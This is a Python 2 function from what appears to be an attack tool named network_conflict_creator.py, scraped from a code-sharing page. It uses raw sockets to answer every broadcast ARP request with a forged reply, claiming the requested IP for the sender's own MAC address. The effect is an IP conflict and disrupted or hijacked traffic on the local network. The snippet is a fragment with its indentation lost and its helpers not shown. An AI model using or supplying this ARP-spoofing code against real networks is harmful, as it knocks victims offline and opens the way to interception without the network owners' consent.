def send_arp_reply(request):
if request.haslayer(ARP):
global _current_number_of_packets
global _current_network_interface
global _current_mac_address
global _arp
SOCK = socket(AF_PACKET, SOCK_RAW)
SOCK.bind((_current_network_interface, 0))
if request[ARP].op == 1:
if request[Ether].dst == "ff:ff:ff:ff:ff:ff" and request[ARP].hwdst == "00:00:00:00:00:00":
print Base.c_info + "ARP request from MAC: " + request[ARP].hwsrc + " IP: " + request[ARP].pdst
reply = _arp.make_response(ethernet_src_mac=_current_mac_address,
ethernet_dst_mac=request[ARP].hwsrc,
sender_mac=_current_mac_address, sender_ip=request[ARP].pdst,
target_mac=request[ARP].hwsrc, target_ip=request[ARP].psrc)
SOCK.send(reply)
_current_number_of_packets += 1
if _current_number_of_packets >= _number_of_packets:
SOCK.close()
exit(0)
network_conflict_creator.py 文件源码
python
阅读 33
收藏 0
点赞 0
评论 0
评论列表
文章目录